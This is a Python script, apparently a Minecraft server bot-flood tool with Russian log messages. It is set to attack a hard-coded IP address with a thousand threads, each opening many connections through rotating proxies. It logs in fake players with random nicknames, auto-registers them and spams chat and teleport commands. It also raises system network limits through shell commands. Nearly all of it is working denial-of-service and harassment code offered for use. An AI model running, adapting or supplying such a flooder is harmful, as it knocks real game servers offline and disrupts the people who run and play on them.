#coding: utf-8

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Configuration-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

host = '92.222.92.30'
port = 25565
proxy = False
sockets = 200 # 1-100
version18 = True # for 1.8 only servers
proxy_type = 'SOCKS' # SOCKS or HTTP
threads = 1000 # 1-5000
chat = False # chat module. True or False
messages = ['/jobs', '/c', '/region claim', '/tpa dos', '/balance'] # spam messages
tpa = True # tp request, True or False
tpa_cmd = '/tpa sosay' # only if tpa = True
antibot_bypass = False # True or False. sleep 3 seconds after new bot

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

























# dont touch this
from threading import Thread
import socket, struct, sys, time, random, re, string, os
try: f = open('proxy.txt', 'r').readlines()
except Exception:
	print('[\x1b[31mCRITICAL\x1b[0m] proxy.txt не найден!')
	exit()
print('ge7ara top')
time.sleep(.5)
import socket
import struct
from errno import EOPNOTSUPP, EINVAL, EAGAIN
from io import BytesIO
from os import SEEK_CUR
from collections import Callable

PROXY_TYPE_SOCKS4 = SOCKS4 = 1
PROXY_TYPE_SOCKS5 = SOCKS5 = 2
PROXY_TYPE_HTTP = HTTP = 3

PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP}
PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys()))

_orgsocket = _orig_socket = socket.socket

class ProxyError(IOError):
	"""
	socket_err contains original socket.error exception.
	"""
	def __init__(self, msg, socket_err=None):
		self.msg = msg
		self.socket_err = socket_err

		if socket_err:
			self.msg += ": {0}".format(socket_err)

	def __str__(self):
		return self.msg

class GeneralProxyError(ProxyError): pass
class ProxyConnectionError(ProxyError): pass
class SOCKS5AuthError(ProxyError): pass
class SOCKS5Error(ProxyError): pass
class SOCKS4Error(ProxyError): pass
class HTTPError(ProxyError): pass

SOCKS4_ERRORS = { 0x5B: "Request rejected or failed",
				  0x5C: "Request rejected because SOCKS server cannot connect to identd on the client",
				  0x5D: "Request rejected because the client program and identd report different user-ids"
				}

SOCKS5_ERRORS = { 0x01: "General SOCKS server failure",
				  0x02: "Connection not allowed by ruleset",
				  0x03: "Network unreachable",
				  0x04: "Host unreachable",
				  0x05: "Connection refused",
				  0x06: "TTL expired",
				  0x07: "Command not supported, or protocol error",
				  0x08: "Address type not supported"
				}

DEFAULT_PORTS = { SOCKS4: 1080,
				  SOCKS5: 1080,
				  HTTP: 8080
				}

def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):
	socksocket.default_proxy = (proxy_type, addr, port, rdns,
								username.encode() if username else None,
								password.encode() if password else None)

setdefaultproxy = set_default_proxy

def get_default_proxy():
	"""
	Returns the default proxy, set by set_default_proxy.
	"""
	return socksocket.default_proxy

getdefaultproxy = get_default_proxy

def wrap_module(module):
	if socksocket.default_proxy:
		module.socket.socket = socksocket
	else:
		raise GeneralProxyError("No default proxy specified")

wrapmodule = wrap_module

def create_connection(dest_pair, proxy_type=None, proxy_addr=None,
					  proxy_port=None, proxy_rdns=True,
					  proxy_username=None, proxy_password=None,
					  timeout=None, source_address=None):
	sock = socksocket()
	if isinstance(timeout, (int, float)):
		sock.settimeout(timeout)
	if proxy_type is not None:
		sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns,
					   proxy_username, proxy_password)
	sock.connect(dest_pair)
	return sock

class _BaseSocket(socket.socket):
	"""Allows Python 2's "delegated" methods such as send() to be overridden
	"""
	def __init__(self, *pos, **kw):
		_orig_socket.__init__(self, *pos, **kw)

		self._savedmethods = dict()
		for name in self._savenames:
			self._savedmethods[name] = getattr(self, name)
			delattr(self, name)  # Allows normal overriding mechanism to work

	_savenames = list()

def _makemethod(name):
	return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw)
for name in ("sendto", "send", "recvfrom", "recv"):
	method = getattr(_BaseSocket, name, None)

	# Determine if the method is not defined the usual way
	# as a function in the class.
	# Python 2 uses __slots__, so there are descriptors for each method,
	# but they are not functions.
	if not isinstance(method, Callable):
		_BaseSocket._savenames.append(name)
		setattr(_BaseSocket, name, _makemethod(name))

class socksocket(_BaseSocket):
	"""socksocket([family[, type[, proto]]]) -> socket object

	Open a SOCKS enabled socket. The parameters are the same as
	those of the standard socket init. In order for SOCKS to work,
	you must specify family=AF_INET and proto=0.
	The "type" argument must be either SOCK_STREAM or SOCK_DGRAM.
	"""

	default_proxy = None

	def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs):
		if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM):
			msg = "Socket type must be stream or datagram, not {!r}"
			raise ValueError(msg.format(type))

		_BaseSocket.__init__(self, family, type, proto, *args, **kwargs)
		self._proxyconn = None  # TCP connection to keep UDP relay alive

		if self.default_proxy:
			self.proxy = self.default_proxy
		else:
			self.proxy = (None, None, None, None, None, None)
		self.proxy_sockname = None
		self.proxy_peername = None

	def _readall(self, file, count):
		"""
		Receive EXACTLY the number of bytes requested from the file object.
		Blocks until the required number of bytes have been received.
		"""
		data = b""
		while len(data) < count:
			d = file.read(count - len(data))
			if not d:
				raise GeneralProxyError("Connection closed unexpectedly")
			data += d
		return data

	def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):
		self.proxy = (proxy_type, addr, port, rdns,
					  username.encode() if username else None,
					  password.encode() if password else None)

	setproxy = set_proxy

	def bind(self, *pos, **kw):
		"""
		Implements proxy connection for UDP sockets,
		which happens during the bind() phase.
		"""
		proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy
		if not proxy_type or self.type != socket.SOCK_DGRAM:
			return _orig_socket.bind(self, *pos, **kw)

		if self._proxyconn:
			raise socket.error(EINVAL, "Socket already bound to an address")
		if proxy_type != SOCKS5:
			msg = "UDP only supported by SOCKS5 proxy type"
			raise socket.error(EOPNOTSUPP, msg)
		_BaseSocket.bind(self, *pos, **kw)
		_, port = self.getsockname()
		dst = ("0", port)

		self._proxyconn = _orig_socket()
		proxy = self._proxy_addr()
		self._proxyconn.connect(proxy)

		UDP_ASSOCIATE = b"\x03"
		_, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst)

		# The relay is most likely on the same host as the SOCKS proxy,
		# but some proxies return a private IP address (10.x.y.z)
		host, _ = proxy
		_, port = relay
		_BaseSocket.connect(self, (host, port))
		self.proxy_sockname = ("0.0.0.0", 0)  # Unknown

	def sendto(self, bytes, *args, **kwargs):
		if self.type != socket.SOCK_DGRAM:
			return _BaseSocket.sendto(self, bytes, *args, **kwargs)
		if not self._proxyconn:
			self.bind(("", 0))

		address = args[-1]
		flags = args[:-1]

		header = BytesIO()
		RSV = b"\x00\x00"
		header.write(RSV)
		STANDALONE = b"\x00"
		header.write(STANDALONE)
		self._write_SOCKS5_address(address, header)

		sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs)
		return sent - header.tell()

	def send(self, bytes, flags=0, **kwargs):
		if self.type == socket.SOCK_DGRAM:
			return self.sendto(bytes, flags, self.proxy_peername, **kwargs)
		else:
			return _BaseSocket.send(self, bytes, flags, **kwargs)

	def recvfrom(self, bufsize, flags=0):
		if self.type != socket.SOCK_DGRAM:
			return _BaseSocket.recvfrom(self, bufsize, flags)
		if not self._proxyconn:
			self.bind(("", 0))

		buf = BytesIO(_BaseSocket.recv(self, bufsize, flags))
		buf.seek(+2, SEEK_CUR)
		frag = buf.read(1)
		if ord(frag):
			raise NotImplementedError("Received UDP packet fragment")
		fromhost, fromport = self._read_SOCKS5_address(buf)

		if self.proxy_peername:
			peerhost, peerport = self.proxy_peername
			if fromhost != peerhost or peerport not in (0, fromport):
				raise socket.error(EAGAIN, "Packet filtered")

		return (buf.read(), (fromhost, fromport))

	def recv(self, *pos, **kw):
		bytes, _ = self.recvfrom(*pos, **kw)
		return bytes

	def close(self):
		if self._proxyconn:
			self._proxyconn.close()
		return _BaseSocket.close(self)

	def get_proxy_sockname(self):
		"""
		Returns the bound IP address and port number at the proxy.
		"""
		return self.proxy_sockname

	getproxysockname = get_proxy_sockname

	def get_proxy_peername(self):
		"""
		Returns the IP and port number of the proxy.
		"""
		return _BaseSocket.getpeername(self)

	getproxypeername = get_proxy_peername

	def get_peername(self):
		"""
		Returns the IP address and port number of the destination
		machine (note: get_proxy_peername returns the proxy)
		"""
		return self.proxy_peername

	getpeername = get_peername

	def _negotiate_SOCKS5(self, *dest_addr):
		"""
		Negotiates a stream connection through a SOCKS5 server.
		"""
		CONNECT = b"\x01"
		self.proxy_peername, self.proxy_sockname = self._SOCKS5_request(self,
			CONNECT, dest_addr)

	def _SOCKS5_request(self, conn, cmd, dst):
		"""
		Send SOCKS5 request with given command (CMD field) and
		address (DST field). Returns resolved DST address that was used.
		"""
		proxy_type, addr, port, rdns, username, password = self.proxy

		writer = conn.makefile("wb")
		reader = conn.makefile("rb", 0)
		try:
			if username and password:
				writer.write(b"\x05\x02\x00\x02")
			else:
				writer.write(b"\x05\x01\x00")
			writer.flush()
			chosen_auth = self._readall(reader, 2)

			if chosen_auth[0:1] != b"\x05":
				raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

			if chosen_auth[1:2] == b"\x02":
				writer.write(b"\x01" + chr(len(username)).encode()
							 + username
							 + chr(len(password)).encode()
							 + password)
				writer.flush()
				auth_status = self._readall(reader, 2)
				if auth_status[0:1] != b"\x01":
					raise GeneralProxyError("SOCKS5 proxy server sent invalid data")
				if auth_status[1:2] != b"\x00":
					raise SOCKS5AuthError("SOCKS5 authentication failed")

			elif chosen_auth[1:2] != b"\x00":
				if chosen_auth[1:2] == b"\xFF":
					raise SOCKS5AuthError("All offered SOCKS5 authentication methods were rejected")
				else:
					raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

			writer.write(b"\x05" + cmd + b"\x00")
			resolved = self._write_SOCKS5_address(dst, writer)
			writer.flush()

			resp = self._readall(reader, 3)
			if resp[0:1] != b"\x05":
				raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

			status = ord(resp[1:2])
			if status != 0x00:
				error = SOCKS5_ERRORS.get(status, "Unknown error")
				raise SOCKS5Error("{0:#04x}: {1}".format(status, error))
			bnd = self._read_SOCKS5_address(reader)
			return (resolved, bnd)
		finally:
			reader.close()
			writer.close()

	def _write_SOCKS5_address(self, addr, file):
		host, port = addr
		proxy_type, _, _, rdns, username, password = self.proxy
		try:
			addr_bytes = socket.inet_aton(host)
			file.write(b"\x01" + addr_bytes)
			host = socket.inet_ntoa(addr_bytes)
		except socket.error:
			if rdns:
				host_bytes = host.encode('idna')
				file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes)
			else:
				addr_bytes = socket.inet_aton(socket.gethostbyname(host))
				file.write(b"\x01" + addr_bytes)
				host = socket.inet_ntoa(addr_bytes)

		file.write(struct.pack(">H", port))
		return host, port

	def _read_SOCKS5_address(self, file):
		atyp = self._readall(file, 1)
		if atyp == b"\x01":
			addr = socket.inet_ntoa(self._readall(file, 4))
		elif atyp == b"\x03":
			length = self._readall(file, 1)
			addr = self._readall(file, ord(length))
		else:
			raise GeneralProxyError("SOCKS5 proxy server sent invalid data")

		port = struct.unpack(">H", self._readall(file, 2))[0]
		return addr, port

	def _negotiate_SOCKS4(self, dest_addr, dest_port):
		proxy_type, addr, port, rdns, username, password = self.proxy

		writer = self.makefile("wb")
		reader = self.makefile("rb", 0)
		try:
			remote_resolve = False
			try:
				addr_bytes = socket.inet_aton(dest_addr)
			except socket.error:
				if rdns:
					addr_bytes = b"\x00\x00\x00\x01"
					remote_resolve = True
				else:
					addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr))

			writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port))
			writer.write(addr_bytes)
			if username:
				writer.write(username)
			writer.write(b"\x00")
			if remote_resolve:
				writer.write(dest_addr.encode('idna') + b"\x00")
			writer.flush()

			resp = self._readall(reader, 8)
			if resp[0:1] != b"\x00":
				raise GeneralProxyError("SOCKS4 proxy server sent invalid data")

			status = ord(resp[1:2])
			if status != 0x5A:
				error = SOCKS4_ERRORS.get(status, "Unknown error")
				raise SOCKS4Error("{0:#04x}: {1}".format(status, error))

			self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0])
			if remote_resolve:
				self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port
			else:
				self.proxy_peername = dest_addr, dest_port
		finally:
			reader.close()
			writer.close()

	def _negotiate_HTTP(self, dest_addr, dest_port):
		"""
		Negotiates a connection through an HTTP server.
		NOTE: This currently only supports HTTP CONNECT-style proxies.
		"""
		proxy_type, addr, port, rdns, username, password = self.proxy

		# If we need to resolve locally, we do this now
		addr = dest_addr if rdns else socket.gethostbyname(dest_addr)

		self.sendall(b"CONNECT " + addr.encode('idna') + b":" + str(dest_port).encode() +
					 b" HTTP/1.1\r\n" + b"Host: " + dest_addr.encode('idna') + b"\r\n\r\n")

		# We just need the first line to check if the connection was successful
		fobj = self.makefile()
		status_line = fobj.readline()
		fobj.close()

		if not status_line:
			raise GeneralProxyError("Connection closed unexpectedly")

		try:
			proto, status_code, status_msg = status_line.split(" ", 2)
		except ValueError:
			raise GeneralProxyError("HTTP proxy server sent invalid response")

		if not proto.startswith("HTTP/"):
			raise GeneralProxyError("Proxy server does not appear to be an HTTP proxy")

		try:
			status_code = int(status_code)
		except ValueError:
			raise HTTPError("HTTP proxy server did not return a valid HTTP status")

		self.proxy_sockname = (b"0.0.0.0", 0)
		self.proxy_peername = addr, dest_port

	_proxy_negotiators = {
						   SOCKS4: _negotiate_SOCKS4,
						   SOCKS5: _negotiate_SOCKS5,
						   HTTP: _negotiate_HTTP
						 }


	def connect(self, dest_pair):
		"""
		Connects to the specified destination through a proxy.
		Uses the same API as socket's connect().
		To select the proxy server, use set_proxy().

		dest_pair - 2-tuple of (IP/hostname, port).
		"""
		dest_addr, dest_port = dest_pair

		if self.type == socket.SOCK_DGRAM:
			if not self._proxyconn:
				self.bind(("", 0))
			dest_addr = socket.gethostbyname(dest_addr)

			# If the host address is INADDR_ANY or similar, reset the peer
			# address so that packets are received from any peer
			if dest_addr == "0.0.0.0" and not dest_port:
				self.proxy_peername = None
			else:
				self.proxy_peername = (dest_addr, dest_port)
			return

		proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy

		# Do a minimal input check first
		if (not isinstance(dest_pair, (list, tuple))
				or len(dest_pair) != 2
				or not dest_addr
				or not isinstance(dest_port, int)):
			raise GeneralProxyError("Invalid destination-connection (host, port) pair")


		if proxy_type is None:
			# Treat like regular socket object
			self.proxy_peername = dest_pair
			_BaseSocket.connect(self, (dest_addr, dest_port))
			return

		proxy_addr = self._proxy_addr()

		try:
			# Initial connection to proxy server
			_BaseSocket.connect(self, proxy_addr)

		except socket.error as error:
			# Error while connecting to proxy
			self.close()
			proxy_addr, proxy_port = proxy_addr
			proxy_server = "{0}:{1}".format(proxy_addr, proxy_port)
			printable_type = PRINTABLE_PROXY_TYPES[proxy_type]

			msg = "Error connecting to proxy "#.format(printable_type,
												#		   proxy_server)
			raise ProxyConnectionError(msg, error)

		else:
			# Connected to proxy server, now negotiate
			try:
				# Calls negotiate_{SOCKS4, SOCKS5, HTTP}
				negotiate = self._proxy_negotiators[proxy_type]
				negotiate(self, dest_addr, dest_port)
			except socket.error as error:
				# Wrap socket errors
				self.close()
				raise GeneralProxyError("Socket error", error)
			except ProxyError:
				# Protocol error while negotiating with proxy
				self.close()
				raise

	def _proxy_addr(self):
		"""
		Return proxy address to connect to as tuple object
		"""
		proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy
		proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type)
		if not proxy_port:
			raise GeneralProxyError("Invalid proxy type")
		return proxy_addr, proxy_port

# fix os limits
os.system('ulimit -n 65535')
os.system('echo 15 > /proc/sys/net/ipv4/tcp_fin_timeout')
os.system('echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse')
os.system('echo 1024 65535 > /proc/sys/net/ipv4/ip_local_port_range')

try: host = list(socket.gethostbyname_ex(host))[2][0]
except Exception as e:
	print('[\x1b[31mCRITICAL\x1b[0m] Невозможно определить IP домена! Укажите циферный IP вручную.')
	exit()
print('[INFO] Starting attack to IP: {0}'.format(host))

socket.setdefaulttimeout(4)
choose = 0

def proxier():
	global choose
	choose += 1
	if choose >= len(f):
		choose = 0
	return f[choose]
def data_pack(data): return varint_pack(len(data)) + data
def string_pack(string): return data_pack(string)
def varint_pack(val):
	if val >= (1<<31) or val < -(1<<31): return None
	o = b''
	if val < 0: val += 1<<32
	while val >= 0x80:
		bits = val & 0x7F
		val >>= 7
		o += struct.pack('B', (0x80 | bits))
	bits = val&0x7F
	o += struct.pack('B', bits)
	return o
nicks = []

if chat: # pregenerate nicknames
	try:
		nicks = open('nicks', 'r').readlines()
		print('[INFO] Loaded %d nicks from file!' % (len(nicks)))
		print('[INFO] Starting connecting to server...\n')
	except Exception:
		print('[INFO] Starting generating nicknames...')
		for i in range(5000): # 5000 - your proxy count
			if random.randint(1,2) == 1:
				nicks.append(str(random.randint(1000,10000000)) + ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(1,6))))
				print('[INFO] Nick %d generated!' % (i))
			else:
				nicks.append(''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(3,8))) + str(random.randint(100,10000000)))
				print('[INFO] Nick %d generated!' % (i))
		print('[INFO] Nicks generated!')
		for nick in nicks:
			print('[INFO] Nick %s saved!' % (nick))
			open('nicks','a').write(nick + '\n')
		print('[INFO] All nicks generated and saved!')
		print('[INFO] Starting connecting to server...\n')

connects = 0
packedport = struct.pack('>H', port)
packedhost = data_pack(bytes(host))

def gastbot():
	global connects
	while 1:
		for i in range(sockets):
			m = re.search('(?:http.*://)?(?P<host>[^:/ ]+).?(?P<port>[0-9]*).*', proxier())
			locals()["s" + str(i)] = socksocket()
			if proxy:
				if proxy_type == 'SOCKS': exec("s" + str(i) + ".setproxy(PROXY_TYPE_SOCKS4, m.group('host'), int(m.group('port')))") in globals(), locals()
				else: exec("s" + str(i) + ".setproxy(PROXY_TYPE_HTTP, m.group('host'), int(m.group('port')))") in globals(), locals()
		for socknum in range(sockets):
			username = ''
			if random.randint(1,2) == 1: username = str(random.randint(100,10000000)) + ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(1,7)))
			else: username = ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(random.randint(3,7))) + str(random.randint(100,10000000))
			if chat: username = random.choice(nicks).replace('\n', '')
			try:
				sock1 = eval('s'+str(socknum))
				sock1.connect((host, int(port)))
				sock1.setblocking(0)
				connects += 1
				print('[{0}@{1}] Connected!'.format(connects, username))
				if version18: sock1.sendall(data_pack(b"\x00" + b"/\r94.23.174.199c\xdd\x02"))
				else: sock1.sendall(data_pack(b"\x00\x05" + data_pack(bytes(host)) + struct.pack('>H', port) + b"\x02"))
				sock1.sendall(data_pack(b"\x00" + string_pack(username)))
				if chat:
					time.sleep(1)
					sock1.send(data_pack(b"\x01" + string_pack('/register {0} {1}'.format(username, username))))
					time.sleep(1)
					sock1.send(data_pack(b"\x01" + string_pack('/login {0}'.format(username))))
					print('[{0}@{1}] Registered!'.format(connects, username))
					if tpa:
						time.sleep(1)
						sock1.send(data_pack(b"\x01" + string_pack(str(tpa_cmd))))
						print('[{0}@{1}] TP request sended!'.format(connects, username))
					for m in range(300):
						s = random.choice(messages)
						time.sleep(random.randint(10,35))
						if s[:1] != '/': sock1.send(data_pack(b"\x01" + string_pack('!{1} {0}'.format(str(s), random.randint(1,50)))))
						else: sock1.send(data_pack(b"\x01" + string_pack('{0} {1}'.format(str(s), random.randint(1,50)))))
						print('[{0}@{1}] [Chat@{3}] {2}'.format(connects, username, str(random.choice(messages)), m+1))
			except Exception as err:
				time.sleep(1)
				close = eval('s'+str(socknum))
				close.close()
				print("[\x1b[31mWARN\x1b[0m] [{0}@{1}] Не удалось подключиться к серверу: {2}".format(connects, username, err))
for i in range(threads):
	Thread(target=gastbot).start()
	if antibot_bypass: time.sleep(0.3)